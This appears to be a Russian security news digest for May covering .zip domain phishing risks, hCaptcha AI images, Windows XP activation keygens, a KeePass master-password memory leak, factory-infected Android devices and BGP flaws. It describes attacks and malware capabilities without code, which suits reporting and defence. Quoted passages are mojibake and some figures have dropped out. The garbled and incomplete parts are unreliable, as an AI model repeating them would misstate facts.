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В этом месяце: алго ритм акти вации Windows XP уда лось
взло мать, спе циалис там не нра вят ся домены .zip, ИИ соз- 
дает нереша емую CAPTCHA, из KeePass мож но извлечь мас- 
тер-пароль, мил лионы устрой ств заража ют вре донос ным
ПО пря мо на заводах, Intel рас сле дует утеч ку при ват ных клю- 
чей Intel Boot Guard и дру гие инте рес ные события мая.

ДОМЕНЫ .ZIP И .MOV
ТРЕВОЖАТ
ЭКСПЕРТОВ

В начале мая ком пания Google пред ста вила восемь новых доменов вер хне го
уров ня (TLD), которые мож но при обрести для раз мещения сай тов или email-
адре сов: .dad, .esq, .prof, .phd, .nexus, .foo, а так же домены .zip и .mov. Пос- 
ледние выз вали спо ры сре ди ИБ-спе циалис тов, так как мно гие соч ли их
слиш ком опас ными.

Хо тя домены .zip и .mov сущес тву ют с 2014 года, толь ко теперь они ста ли
дос тупны для сво бод ной регис тра ции, то есть сей час любой может при- 
обрести домен вида xakep.zip. Спе циалис ты счи тают это опас ным, ведь эти
домены сов пада ют с рас ширени ями фай лов. В ито ге фай лы, которые час то
упо мина ются в сети (в сооб щени ях на форумах и в про чих онлайн-дис кусси- 
ях), будут авто мати чес ки пре обра зовы вать ся в URL-адре са.

Де ло в том, что люди неред ко пуб лику ют в сети инс трук ции и сооб щения,
содер жащие име на фай лов с рас ширени ями .zip и .mov. С появ лени ем новых
TLD некото рые плат формы для обме на сооб щени ями и соци аль ные сети нач- 
нут авто мати чес ки пре обра зовы вать име на фай лов с рас ширени ями .zip
и .mov в URL-адре са.

Нап ример, если отпра вить кому-нибудь в Twitter инс трук ции, как открыть
файл ZIP, или упо мянуть в сооб щении файл MOV, безобид ные име на фай лов
пре обра зуют ся в URL-адре са.

Ког да люди видят в инс трук ции или сооб щении такой URL-адрес, они пред- 
полага ют, что его мож но исполь зовать для заг рузки свя зан ного фай ла,
и могут клик нуть по ссыл ке. Если же такой домен .zip при над лежит зло умыш- 
ленни кам, человек по ошиб ке попадет на вре донос ный сайт, может стать
жер твой фишеров или заг рузить вре донос ное ПО, полагая, что URL безопа- 
сен, пос коль ку получен из надеж ного источни ка.

При чем подоб ные ата ки, к сожале нию, не толь ко теоре тичес кие: ком пания
Silent Push Labs уже обна ружи ла фишин говую стра ницу на microsoft-
office[.]zip, которая пыта ется похищать учет ные дан ные для акка унтов
Microsoft. А извес тный под ником mr.d0x ИБ-эксперт соз дал 

 и наг лядно показал, что пря мо в бра узе ре мож но
соз давать на доменах .zip фаль шивые окна WinRAR и Windows File Explorer.
Это поз воля ет обма нуть поль зовате лей, убе див их, что они откры вают файл
ZIP.

PoC-набор инс- 
тру мен тов для фишин га

Эк спе римен тиру ют с новыми домена ми и . К при меру,
Боб би Раух (Bobby Rauch) опуб ликовал мас штаб ное иссле дова ние, пос- 
вящен ное раз работ ке убе дитель ных фишин говых ссы лок с исполь зовани ем
сим волов Unicode и раз делите ля @ в URL-адре сах.

дру гие спе циалис ты

Его опыт показы вает, что зло умыш ленни ки могут с лег костью соз давать
фишин говые адре са, которые, нап ример, выг лядят как обыч ные URL для заг- 
рузки фай лов с GitHub, а на самом деле перенап равля ют жер тву на сайт
v1.27.1[.]zip.

Ис сле дова тель пред лага ет най ти отли чия и без вред ный URL-адрес

В ито ге новые домены выз вали жар кие спо ры сре ди раз работ чиков, ИБ-спе- 
циалис тов и адми нов. Одни счи тают, что опа сения неоп равдан ны, а дру гие
уве рены, что домены .zip и .mov соз дают новые ненуж ные рис ки.

Кро ме того, люди уже начали мас сово регис три ровать домены .zip, свя- 
зан ные с име нами рас простра нен ных ZIP-архи вов, вклю чая update.zip,
nancialstatement.zip, setup.zip, attachment.zip, officeupdate.zip и backup.zip.
Некото рые из них исполь зуют ся для отоб ражения информа ции о рис ках зоны
.zip, дру гие содер жат рик роллы, мемы и про чие безобид ные вещи.

В ответ на кри тику спе циалис ты Google заяв ляют, что риск путани цы меж ду
име нами фай лов и домена ми не нов и сущес тву ют смяг чающие меры
для защиты поль зовате лей.

«

»

«Ðèñê ïóòàíè öû ìåæ äó äîìåí íûìè èìå íàìè è èìå íàìè ôàé ëîâ
íå íîâ. Íàï ðèìåð, ïðî äóê òû 3M Command èñïîëü çóþò äîìåí íîå èìÿ
command.com, êîòîðîå òàê æå ÿâëÿ åòñÿ âàæ íîé ïðîã ðàììîé â MS DOS
è ðàí íèõ âåð ñèÿõ Windows. Ïðè ëîæå íèÿ èìå þò ñðåäñ òâà çàùèòû
îò ýòî ãî (íàï ðèìåð, Google Safe Browsing), è ýòè çàùèò íûå ñðåäñ òâà
áóäóò äåé ñòâî âàòü è äëÿ TLD, ïîäîá íûõ .zip, — îáú ÿñíÿ þò â Google. —
Â òî æå âðå ìÿ íîâûå ïðîñ òðàíñ òâà èìåí ïðå äîñ òàâëÿ þò ðàñ øèðåí íûå
âîç ìîæíîñ òè äëÿ èìå íîâà íèÿ, òàêèå êàê community.zip è url.zip. Google
ñåðü åçíî îòíî ñèò ñÿ ê ôèøèí ãó è âðå äîíîñ íûì ïðîã ðàììàì, è â
Google Registry åñòü ìåõàíèç ìû ïðè îñòà íîâ êè èëè óäà ëåíèÿ âðå äîíîñ- 
íûõ äîìåíîâ äëÿ âñåõ íàøèõ TLD, âêëþ ÷àÿ .zip. Ìû áóäåì ïðî äîë æàòü
ñëå äèòü çà èñïîëü çîâàíè åì .zip è äðó ãèõ TLD è â ñëó ÷àå ïîÿâ ëåíèÿ
íîâûõ óãðîç ïðè ìåì ñîîò âåòñ òâó þùèå ìåðû äëÿ çàùèòû ïîëü çîâàòå- 
ëåé».

 ДОЛЛАРОВ ЗА ДИПФЕЙК20 000

Эк спер ты «Лабора тории Кас пер ско го» про ана лизи рова ли на нес коль ких форумах в дар кне те —
рус ско языч ных и меж дународ ных — объ явле ния с пред ложени ями услуг по соз данию дип- 
фейк-роликов. Судя по опуб ликован ным сооб щени ям, одна минута такого видео сто ит от 
до  дол ларов США.
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В ком пании отме тили, что спрос на соот ветс тву ющие сер висы и инс тру мен ты в дар кне те зна- 
читель но пре выша ет пред ложение. Цены на соз дание или покуп ку дип фей ков могут варь иро- 
вать ся в зависи мос ти от слож ности про екта и качес тва конеч ного про дук та.

ИИ РИСУЕТ
БЕЗУМНУЮ CAPTCHA
В DISCORD

Поль зовате ли пожало вались, что CAPTCHA в Discord, которую пре дос тавля ет
ком пания hCaptcha, зас тавля ет их искать на при веден ных фото несущес тву- 
ющие объ екты. Нап ример, поль зовате лей пос тавил в тупик объ ект, наз ванный
Yoko, похожий на гиб рид улит ки и йо-йо, который сот ворил ИИ.

Од новре мен но с этим дру гие люди обна ружи ли, что их про сят най ти изоб- 
ражения куба-голово лом ки, который тоже соз дан искусс твен ным интеллек- 
том и не слиш ком похож на реаль но сущес тву ющий пред мет, хотя и напоми- 
нает кубик Рубика. К тому же все объ екты в задании выг лядят так, буд то приш- 
ли пря миком из зло вещей долины.

CAPTCHA для Discord пре дос тавля ет ком пания hCaptcha, и пред ста вите ли
Discord сооб щили жур налис там, что тех нология, генери рующая стран ные
пром пты, «явля ется собс твен ностью сто рон него пар тне ра, и Discord нап- 
рямую не опре деля ет, что будет пред став лено поль зовате лям».

В свою оче редь, пред ста вите ли hCaptcha объ ясни ли, что про изо шед шее
было «крат ким тес том, который уви дело неболь шое количес тво людей». Так
как сум марно тех нологию исполь зуют сот ни мил лионов поль зовате лей, даже
этот «крат кий тест» при вел к появ лению показан ных выше тви тов.

Ком пания hCaptcha позици они рует себя как ори енти рован ную на кон- 
фиден циаль ность аль тер нативу reCAPTCHA. Еще в 2018 году в бло ге
hCaptcha сооб щалось, что пром пты генери руют ся самими кли ента ми,
которым нуж ны «высоко качес твен ные, соз данные челове ком анно тации
для их пот ребнос тей в сфе ре машин ного обу чения».

То есть hCaptcha зараба тыва ет день ги как на кли ентах вро де Discord,
которые покупа ют про фес сиональ ные и кор поратив ные под писки для запус ка
сер висов CAPTCHA, так и на кли ентах, которые соз дают пром пты. Фак тичес ки
hCaptcha исполь зует свою CAPTCHA для сис тем машин ного обу чения
и генера тив но-сос тязатель ных сетей.

При чем это не пер вый слу чай, ког да люди замеча ют появ ление стран ных
изоб ражений в сер висах hCaptcha и отме чают, что ком пания, оче вид но, обу- 
чает ИИ с помощью поль зовате лей. К при меру, в мар те текуще го года поль- 
зователь Reddit жаловал ся, что CAPTCHA в Discord ста ла прак тичес ки
нереша емой.

«

»

«Íàï ðèìåð, çàäà÷à „Âûáåðè òå ðîáîòà“, ãäå íè îäíî èç èçîá ðàæåíèé
íå âûã ëÿäèò êàê ñîç äàííîå ÷åëîâå êîì, — ïèñàë ïîëü çîâàòåëü
FunnerThanUsual â ñàá ðåääè òå Discord. — Â èòî ãå ÿ âîîá ùå
íå ïîëó÷àþ ïèñü ìî äëÿ ïîä òâåðæäå íèÿ ó÷åò íîé çàïèñè, äàæå ïîñ ëå
âñåõ ýòèõ ïðûæ êîâ ÷åðåç îáðó ÷è. Ñåðü åçíî, áëî êèðî âàòü áîòîâ —
ýòî íîð ìàëü íî, íî ïûòàòü ñÿ îáó ÷àòü ÈÈ ñ ïîìîùüþ õðå íîâûõ èçîá- 
ðàæåíèé CAPTCHA — ñîâ ñåì äðó ãîå äåëî».

По мне нию поль зовате лей и СМИ, работа hCaptcha в нас тоящий момент —
это яркий при мер проб лем, которые воз ника ют с сис темами машин ного обу- 
чения. Пер вая из них зак люча ется в том, что ИИ-сис темы тре буют серь езно го
челове чес кого учас тия. Нап ример, индекси рова ние и катего риза ция изоб- 
ражений, как пра вило, переда ется аут сорсе рам из раз вива ющих ся стран, чей
труд опла чива ется край не пло хо.

Дру гая проб лема — дрейф дан ных (data drift): чем доль ше работа ют сис- 
темы машин ного обу чения, тем боль ше дан ных им тре бует ся. В конеч ном
сче те они начина ют исполь зовать дан ные, которые сами сге нери рова ли
для само обу чения. И сис темы, которые дос таточ но дол го тре ниру ются
на себе, в ито ге при ходят к тому, что выда ют зап росы на опре деле ние
непонят ных объ ектов вро де Yoko.

МОШЕННИКИ ЗВОНЯТ ЧЕРЕЗ WHATSAPP

На кон ферен ции «Телеком» гла ва Мин цифры РФ Мак сут Шада ев рас ска зал, что в боль шинс тве
слу чаев мошен ничес кие звон ки поль зовате лям пос тупа ют через WhatsApp.→ «За этот год мы с опе рато рами дос тигли зна читель ного прог ресса в борь бе

с мошен ничес кими звон ками. Количес тво таких звон ков, которые идут по обыч- 
ному телефо ну, в разы сни зилось. Сов мес тная работа, которую мы про водим,
ответс твен ность за про пуск тра фика с под менных номеров — это дает эффект.
Мы видим, что  мошен ничес ких звон ков совер шает ся не из обыч ной
нумера ции, а из WhatsApp. Будем даль ше про дол жать эту работу. Мы так же
догово рились с опе рато рами, как мы будем бороть ся со спам-звон ками. В этом
году уже будет сущес твен ный прог ресс, таких звон ков ста нет на порядок мень- 
ше.  адми нис тра тив ных дел, нас коль ко я знаю, воз бужде но в отно шении
опе рато ров, которые про пус кают тра фик с под менных номеров. Работа идет,
резуль тат мы ее видим»,
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— рас ска зал Шада ев.

ВЗЛОМАН АЛГОРИТМ
АКТИВАЦИИ
WINDOWS XP

Спус тя 21 год пос ле релиза опе раци онной сис темы Windows XP иссле дова- 
телям все же уда лось взло мать алго ритм ее акти вации. Энту зиас ты говорят,
что теперь Windows XP мож но акти виро вать безопас ным и надеж ным спо- 
собом, в авто ном ном режиме.

Ин форма ция о взло ме впер вые появи лась в бло ге tinyapps.org, где обыч но
вык ладыва ют минима лис тичные ути литы для огра ничен ных уста новок
Windows. Запись, озаг лавлен ная « », адре- 
сова на людям, которые решили акти виро вать Windows XP спус тя боль ше двух
десят ков лет пос ле ее релиза, через девять лет пос ле окон чания под дер жки
и, что важ нее все го, через нес коль ко лет пос ле того, как Microsoft отклю чила
свои сер веры акти вации.

Ак тивация Windows XP: GAME OVER

В tinyapps обра тили вни мание на опуб ликован ный энту зиас тами на Reddit
файл xp_activate32.exe, который пред став ляет собой прог рамму все го
на 18 432 байт (хеш при веден в бло ге tinyapps). Эта ути лита исполь зует код,
который соз дает ся в слу чае выбора акти вации Windows XP по телефо ну,
и пре обра зует его в пра виль ный ключ для акти вации ОС (Conrmation ID),
дей ствуя пол ностью авто ном но, без под клю чения к интерне ту. Получен ный
таким спо собом ключ работа ет, а так же сох раня ется пос ле очис тки и пере- 
уста нов ки сис темы. Похоже, точ но такой же ключ пре дос тавля ла поль зовате- 
лям сама Microsoft.

От меча ется, что алго ритм акти вации Windows XP, ско рее все го, был взло ман
еще в 2019 году, ког да появил ся опен сор сный кей ген , спо соб- 
ный соз давать «бес конеч ные клю чи для Windows XP». Одна ко для акти вации,
а так же завер шения про вер ки и уста нов ки ОС инс тру мен ту все же тре бова- 
лись внеш ние сер висы, что ста ло проб лемой, так как эти сер висы боль ше
не исполь зуют ся или ста ли недос тупны.

WindowsXPKg

В прош лом году кто-то слил в сеть исполня емый файл Windows, который
спо собен генери ровать Conrmation ID, необ ходимые для завер шения про- 
цес са акти вации пол ностью в авто ном ном режиме. Таким обра зом, сов- 
местив генера тор клю чей и исполня емый файл для получе ния ID, мож но акти- 
виро вать Windows XP без интерне та, помощи Microsoft и без исполь зования
кря ков.

В этом месяце упо мяну тый выше опен сор сный генера тор клю чей был
 для Linux. Похоже, ему все еще тре бует ся исполня емый файл

для генера ции ID, но он работа ет. Кро ме того, загадоч ный исполня емый
файл, на который обра тили вни мание в tinyapps, уже тоже активно ,
что бы выяс нить, как он работа ет, и тоже сде лать опен сор сным.

фор кнут

ре вер сят

РЫНОК ПИРАТСТВА СОКРАЩАЕТСЯ
Ком пания FACCT (ранее Group-IB в РФ) оце нила рынок интернет-пиратс тва в Рос сии
в 2022 году в . То есть за год нелегаль ные рас простра ните ли виде- 
окон тента рас теряли  сво их доходов, а чис ло пират ских доменов сок ратилось поч ти 

.

45 мил лионов дол ларов
10% в два

раза

Па дение свя зано с успешной бло киров кой пират ских сай тов, на которых демонс три рова лись
анти рос сий ские ролики (как минимум три круп ных CDN), а так же ухо дом из стра ны теневых
спон соров пиратс тва.

Но инте рес зри телей к пират ско му кон тенту высок: впер вые доля мобиль ного тра фика
на нелегаль ные киноте атры дос тигла  (пират ские филь мы и сери алы пред почита ют смот- 
реть на смар тфо нах).

60%

До ходы интернет-пиратов пада ют уже пятый год под ряд. Так, в 2019 году объ ем рын ка
нелегаль ного виде окон тента сос тавлял , в 2020 году — 

, в 2021 году — , в 2022 году сок ратил ся
до .

63  мил лиона дол ларов 59  мил- 
лионов дол ларов 50  мил лионов дол ларов

45 мил лионов дол ларов

Сред ний показа тель CPM (цена за 1000 показов в рек ламной кам пании) на пират ских ресур сах
упал на  из-за ухо да с рос сий ско го рын ка нес коль ких бук мекеров, а так же из-за слож- 
ностей финан совых перево дов меж ду стра нами.

18%

В целом чис ло обна ружен ных пират ских стра ниц с рус ско языч ным виде окон тентом сок ратилось
с  в 2021 году до  ресур сов в 2022-м.119 400 69 000

Продолжение статьи →
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https://tinyapps.org/blog/202304230700_xp_wpa.html
https://github.com/TheMCHK/WindowsXPKg
https://github.com/TheMCHK/WindowsXPKg/issues/3#issuecomment-1563551188
https://github.com/Neo-Desktop/WindowsXPKg/issues/1#issuecomment-1564511708
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ПРОБЛЕМА
В KEEPASS
ПОЗВОЛЯЕТ УЗНАТЬ
МАСТЕР-ПАРОЛЬ

Ме нед жер паролей KeePass ока зал ся уяз вим перед извле чени ем мас- 
тер-пароля из памяти при ложе ния, что поз воля ет зло умыш ленни кам, ском- 
про мети ровав шим устрой ство, вос ста новить пароль, даже если БД заб- 
локиро вана. Обна ружив ший проб лему эксперт уже опуб ликовал в откры том
дос тупе . При этом пат ча для уяз вимос ти еще нет.PoC-экс пло ит

Уяз вимость, получив шую иден тифика тор , обна ружил
ИБ-спе циалист, извес тный под ником vdohney. Он объ ясня ет, что вос ста- 
новить мас тер-пароль KeePass в откры том виде воз можно без одно го-двух
пер вых сим волов, при чем незави симо от того, заб локиро вано ли рабочее
прос транс тво KeePass (прог рамма вооб ще может быть зак рыта).

CVE-2023-3278

«

»

«KeePass Master Password Dumper — ïðîñ òîé PoC-èíñ òðó ìåíò, èñïîëü- 
çóåìûé äëÿ èçâëå ÷åíèÿ ìàñ òåð ïàðîëÿ èç ïàìÿòè KeePass. Ïîìèìî
ïåð âîãî ñèì âîëà ïàðîëÿ, îí ñïî ñîáåí âîñ ñòà íîâèòü âåñü ïàðîëü
îòêðû òûì òåê ñòîì, — ãëà ñèò ñòðà íèöà ýêñ ïëî èòà íà GitHub. — Âûïîë- 
íåíèå êîäà â öåëåâîé ñèñ òåìå íå ïîò ðåáó åòñÿ, íóæåí òîëü êî äàìï
ïàìÿòè. Íåâàæ íî, îòêó äà áåðåò ñÿ ïàìÿòü. Ýòî ìîæåò áûòü äàìï ïðî- 
öåñ ñà, ôàéë ïîä êà÷êè (pagefile.sys), ôàéë ãèáåð íàöèè (hiberfil.sys)
èëè äàìï îïå ðàòèâ íîé ïàìÿòè âñåé ñèñ òåìû. Íåâàæ íî, çàá ëîêèðî âàíî
ðàáî÷åå ïðîñ òðàíñ òâî èëè íåò».

Проб лема свя зана с тем, что KeePass исполь зует спе циаль ное поле для вво- 
да пароля — SecureTextBoxEx, которое оставля ет в памяти сле ды каж дого
сим вола, вве ден ного поль зовате лем.

«
»

«KeePass 2.X èñïîëü çóåò êàñ òîìíîå òåê ñòî âîå ïîëå äëÿ ââî äà ïàðîëÿ,
SecureTextBoxEx. Ýòî òåê ñòî âîå ïîëå èñïîëü çóåò ñÿ íå òîëü êî äëÿ ââî- 
äà ìàñ òåð ïàðîëÿ, íî è â äðó ãèõ ìåñ òàõ KeePass, íàï ðèìåð â ïîëÿõ
äëÿ ðåäàê òèðîâà íèÿ ïàðîëÿ (ïîýòî ìó àòà êà òàê æå ìîæåò èñïîëü çîâàòü- 
ñÿ äëÿ âîñ ñòà íîâ ëåíèÿ èõ ñîäåð æèìîãî)», — îáú ÿñíÿ åò vdohney.

Ис сле дова тель говорит, что уяз вимость точ но зат рагива ет пос леднюю вер- 
сию KeePass, 2.53.1, и, пос коль ку прог рамма опен сор сная, веро ятно, зат- 
ронуты любые фор ки про екта. При этом, по его сло вам, уяз вимос ти не под- 
верже ны KeePass 1.X, KeePassXC и Strongbox.

Хо тя экс пло ит экспер та тес тировал ся толь ко в Windows, он так же дол жен
работать в Linux и macOS с некото рыми изме нени ями, пос коль ку проб лема
свя зана не с ОС, а с тем, как KeePass обра баты вает поль зователь ский ввод
(user input).

Пос коль ку для вос ста нов ления мас тер-пароля KeePass необ ходимо
получить дамп памяти, для экс плу ата ции CVE-2023-32784 пот ребу ется
физичес кий дос туп или зараже ние целевой машины мал варью. То есть любой
инфости лер может про верить, сущес тву ет ли KeePass на заражен ном компь- 
юте ре, и, если нуж но, сде лает дамп памяти прог раммы, пос ле отпра вив его
и БД KeePass сво им опе рато рам. Хотя пароль получа ется непол ный, подоб- 
рать недос тающие сим волы тоже будет нес ложно.

Ис сле дова тель пре дуп режда ет, что исполь зован ные в прош лом мас- 
тер-пароли тоже могут оста вать ся в памяти и их мож но будет вос ста новить,
даже если KeePass боль ше не работа ет на заражен ной машине.

Раз работ чик KeePass Доминик Рай хл (Dominik Reichl) сооб щил, что ему
уже извес тно об этой ошиб ке. Он обе щает выпус тить патч для CVE-2023-
32784 в вер сии 2.54, которая ожи дает ся при мер но к началу июня.

Рай хл рас ска зал, что вер сия 2.54 получит два улуч шения:
• вы пол нение пря мых вызовов API для получе ния/уста нов ки тек ста в тек сто- 

вом поле, избе гая соз дания управля емых строк в памяти, которые могут
при водить к утеч ке сек ретов;

• соз дание в памяти про цес са фик тивных фраг ментов, содер жащих слу чай- 
ные сим волы, которые будут иметь при мер но ту же дли ну, что и мас- 
тер-пароль поль зовате ля, обфусци руя нас тоящий ключ.

KeePass 2.54 для Windows получит оба эти улуч шения, а вер сии для macOS
и Linux толь ко вто рое. Для жела ющих уже дос тупна .тес товая вер сия

Vdohney под твер дил, что эти исправ ления работа ют. Одна ко он пре дуп- 
режда ет, что даже пос ле выхода новой вер сии мас тер-пароль KeePass все
рав но может хра нить ся в фай лах памяти. Что бы точ но убе дить ся, что он
не остался где-то в нед рах сис темы, необ ходимо уда лить сис темные фай лы
под качки и гибер нации, отформа тиро вать жес ткий диск, исполь зуя режим
переза писи дан ных, что бы пре дот вра тить их вос ста нов ление, а так же пере- 
уста новить ОС.

Для боль шинс тва поль зовате лей переза пус ка компь юте ра, очис тки фай ла
под качки и фай лов гибер нации, а так же отка за от исполь зования KeePass
до выпус ка новой вер сии дол жно быть дос таточ но.

 ЗАБЛОКИРОВАННЫХ РАЗРАБОТЧИКОВ173 000

Ком пания Google под вела ито ги 2022 года: в Google в Play Store не допус тили более 
 при ложе ний, нарушав ших раз личные полити ки, и заб локиро вали  учет ных

записей раз работ чиков, пытав шихся рас простра нять мал варь. Так же за пос ледние три года
был пре дот вра щен необос нован ный дос туп к кон фиден циаль ным раз решени ям для 
при ложе ний.

1,43 мил- 
лиона 173  000

500  000

Кро ме того, коман да безопас ности Google Play Commerce заяви ла, что за год успешно заб- 
локиро вала мошен ничес кие и неп равомер ные тран закции, которые мог ли при вес ти к убыт кам
на сум му более  дол ларов США.2 мил лиар дов

ТЕЛЕФОНЫ
ЗАРАЖАЮТ
«ИЗ КОРОБКИ»

Эк спер ты пре дуп редили, что ком пания Lemon Group исполь зует для сво их
вре донос ных опе раций мил лионы заражен ных пря мо «из короб ки» Android-
смар тфо нов, часов, телеви зоров и телеви зион ных прис тавок.

Не дав но спе циалис ты ком пании Trend Micro  об этой проб леме
на кон ферен ции Black Hat Asia. По их информа ции, мил лионы Android-устрой- 
ств по все му миру заража ются вре донос ным ПО, даже не покинув завод,
на котором их про изве ли.

рас ска зали

Поз же ком пания опуб ликова ла деталь ный отчет о таких зараже ниях,
в котором рас ска зыва ет об активнос ти Lemon Group. Ока залось, зло умыш- 
ленни ки исполь зуют мал варь Guerilla для заг рузки допол нитель ных пей- 
лоадов, перех вата одно разо вых паролей из SMS, нас трой ки обратно го прок- 
си на заражен ных устрой ствах, перех вата сеан сов в WhatsApp и так далее.

По дан ным ком пании, эта активность может быть свя зана с деятель ностью
мал вари Triada — извес тно го бан ков ско го тро яна, который 

 на 42 моделях бюд жетных Android-смар тфо нов китай ских брен дов
еще в 2018 году.

был пре дус танов- 
лен

В Trend Micro говорят, что впер вые обна ружи ли Lemon Group в фев- 
рале 2022 года, но вско ре пос ле это го ком пания была пере име нова на
в Durian Cloud SMS. Одна ко инфраструк тура и так тика зло умыш ленни ков
оста лись преж ними.

«

»

«Ìû âûÿâè ëè ðÿä âèäîâ áèç íåñà, êîòîðûå Lemon Group âûïîë íÿåò
äëÿ êîì ïàíèé, çàíèìà þùèõ ñÿ big data, ìàð êåòèí ãîì è ðåê ëàìîé.
Íî îñíîâíîé åå áèç íåñ ñîñ ðåäîòî ÷åí èìåí íî íà èñïîëü çîâàíèè big
data: àíà ëèçå îãðîìíûõ îáú åìîâ äàí íûõ è ñîîò âåòñ òâó þùèõ õàðàê- 
òåðèñ òèê ïîñ òàâîê ïðî èçâî äèòå ëåé, ðàç ëè÷íî ãî ðåê ëàìíî ãî êîí òåíòà,
ïîëó÷åí íîãî îò ðàç íûõ ïîëü çîâàòå ëåé â ðàç íîå âðå ìÿ, à òàê æå äàí íûõ
îá àïïà ðàò íîì îáåñ ïå÷åíèè», — ïèøóò èññëå äîâà òåëè.

В Trend Micro не уточ няют, как имен но Lemon Group заража ет устрой ства вре- 
донос ной про шив кой, содер жащей Guerilla, но под черки вают, что изу чен ные
устрой ства были переп рошиты новыми ROM. Сум марно ана лити ки ком пании
выяви ли более 50 таких ROM, содер жащих заг рузчи ки мал вари и нацелен ных
на раз личных про изво дите лей Android-устрой ств.

Су дя по все му, здесь не обхо дит ся без ком про мета ции цепоч ки пос тавок.
Нап ример, воз можна ком про мета ция сто рон него ПО, про цес сов обновле ния
про шив ки, а так же прив лечение инсай деров на про изводс твах или в цепоч ке
рас простра нения про дук тов.

«

»

«Ïðåñ òóïíàÿ ãðóï ïà çàðàçè ëà ìèë ëèîíû óñòðîé ñòâ íà áàçå Android.
Â îñíîâíîì ýòî ìîáèëü íûå òåëåôî íû, íî òàê æå âñòðå ÷àþò ñÿ
ñìàðò ÷àñû, ñìàðò òåëåâè çîðû è ìíî ãîå äðó ãîå, — ñîîá ùàþò â êîì- 
ïàíèè. — Çàðàæå íèå ïðåâ ðàùà åò ýòè óñòðîé ñòâà â ìîáèëü íûå ïðîê ñè,
èíñ òðó ìåí òû äëÿ êðà æè è ïðî äàæè SMS, äàí íûõ èç ñîöè àëü íûõ ñåòåé
è ìåñ ñåí äæå ðîâ, à òàê æå äëÿ ìîíåòè çàöèè ñ ïîìîùüþ ðåê ëàìû
è êëèê ôðî äà».

Все началось с при обре тения телефо на на Android и извле чения его обра за
ROM, где была обна руже на модифи циро ван ная про шив ка, имплан тирован- 
ная Lemon Group. Изу чен ное устрой ство име ло модифи циро ван ную сис- 
темную биб лиоте ку libandroid_runtime.so, которая содер жала допол нитель ный
код для рас шифров ки и выпол нения фай ла DEX.

Код это го фай ла DEX заг ружал ся в память и выпол нялся Android Runtime
для акти вации основно го под клю чаемо го модуля Sloth, а так же его кон- 
фигура ции, которая содер жит адрес домена Lemon Group, исполь зующе гося
для свя зи.

Что каса ется мал вари Guerilla, ее основной пла гин заг ружа ет на устрой- 
ство жер твы допол нитель ные модули, пред назна чен ные для выпол нения
опре делен ных фун кций:
• : перех ватыва ет одно разо вые пароли для WhatsApp,

JingDong и Facebook * , получен ные через SMS;

SMS-ïëà ãèí

• : раз верты вает обратный прок си на заражен ном телефо- 

не, поз воляя зло умыш ленни кам исполь зовать сетевые ресур сы жер твы;

ïðîê ñè ïëà ãèí

• : вору ет фай лы cookie Facebook * из катало- 
га дан ных при ложе ния и переда ет их на управля ющий сер вер, а так же
перех ватыва ет сеан сы WhatsApp для рас простра нения нежела тель ных
сооб щений со взло ман ного устрой ства;

ïëà ãèí äëÿ ôàé ëîâ cookie

• : показы вает навяз чивую рек ламу жер твам, ког да те

исполь зуют легитим ные при ложе ния;

ïëà ãèí Splash

• : уста нав лива ет допол нитель ные APK-фай лы, получен ные
с сер вера, или уда ляет сущес тву ющие при ложе ния в соот ветс твии с инс- 
трук циями, при этом уста нов ка и запуск при ложе ний про исхо дят
в фоновом режиме.

silent-ïëà ãèí

В ито ге эти фун кции поз воля ют Lemon Group исполь зовать раз ные стра тегии
монети зации, вклю чая про дажу ском про мети рован ных учет ных записей, зах- 
ват сетевых ресур сов, услу ги по уста нов ке при ложе ний, клик фрод, прок- 
си-сер висы, а так же пре дос тавле ние про верен ных учет ных записей (SMS
Phone Veried Accounts).

По информа ции Trend Micro, Lemon Group ранее заяв ляла на сво ем сай те,
что кон тро лиру ет поч ти 9 мил лионов устрой ств в 180 стра нах мира. В чис ло
наибо лее пос тра дав ших стран вхо дят США, Мек сика, Индо незия, Таиланд
и Рос сия.

«
»

«Ïîñ ðåäñ òâîì äàí íûõ íàøåé òåëåìåò ðèè ìû ïîä òâåð äèëè, ÷òî â ìèðå
ðàáîòà þò ìèë ëèîíû çàðàæåí íûõ óñòðîé ñòâ. Îñíîâíîé êëàñ òåð ýòèõ
óñòðîé ñòâ ðàñ ïîëîæåí â Þãî Âîñ òî÷íîé Àçèè è Âîñ òî÷íîé Åâðî ïå,
îäíà êî ýòî äåé ñòâè òåëü íî ãëî áàëü íàÿ ïðîá ëåìà», — ãîâîðÿò â Trend
Micro.

Ху же того, иссле дова тели полага ют, что реаль ное количес тво Android-устрой- 
ств, заражен ных Guerrilla, может быть куда выше. Одна ко эти устрой ства пока
не выш ли на связь с управля ющи ми сер верами зло умыш ленни ков, так как все
еще сто ят на пол ках магази нов.

БОТЫ ГЕНЕРИРУЮТ  ВСЕГО ИНТЕРНЕТ-ТРАФИКА47,4%

По информа ции ком пании Imperva, авто мати зиро ван ные ата ки на биз нес-логику ста новят ся все
популяр нее у прес тупни ков. В 2022 году поч ти полови на ( ) все го интернет-тра фика при- 
ходи лась на ботов, что на  боль ше, чем в 2021 году. Доля «живого» тра фика, генери- 
руемо го людь ми, сни зилась до самого низ кого уров ня за восемь лет — .

47,4%
5,1%

52,6%

Ху же того, рас тет и вре донос ный бот-тра фик, который теперь дос тиг  от общих зна- 
чений, что на  боль ше, чем в 2021 году. Это самый высокий уро вень активнос ти вре- 
донос ных ботов за всю исто рию наб людений.

30,2%
2,5%

В ПРОТОКОЛЕ BGP
ОБНАРУЖИЛИ РЯД
ПРОБЛЕМ

Ис сле дова тели выяви ли недос татки в прог рам мной реали зации про токо ла
BGP (Border Gateway Protocol), которые мож но исполь зовать для про воци- 
рова ния отка за в обслу жива нии на уяз вимых одно ран говых узлах BGP.

Уяз вимос ти были най дены в  вер сии 8.4, популяр ном наборе
про токо лов интернет-мар шру тиза ции с откры тым исходным кодом для плат- 
форм Linux и Unix. В нас тоящее вре мя он исполь зует ся мно гими вен дорами,
вклю чая NVIDIA Cumulus, DENT и SONiC, что соз дает рис ки для цепоч ки пос- 
тавок.

FRRouting

Проб лемы были обна руже ны в ходе ана лиза семи раз личных импле мен- 
таций BGP, про веден ного Forescout Vedere Labs: FRRouting, BIRD, OpenBGPD,
MikroTik RouterOS, Juniper Junos, Cisco IOS и Arista EOS.

Спи сок обна ружен ных недос татков выг лядит сле дующим обра зом:
•  (6,5 бал ла по шка ле CVSS) — чте ние out-of-bounds

при обра бот ке иска жен ного  с опци ей Extended
Optional Parameters Length;

CVE-2022-40302
со обще ния BGP OPEN

•  (6,5 бал ла по шка ле CVSS) — чте ние out-of-bounds
при обра бот ке иска жен ного сооб щения BGP OPEN с опци ей Extended
Optional Parameters Length;

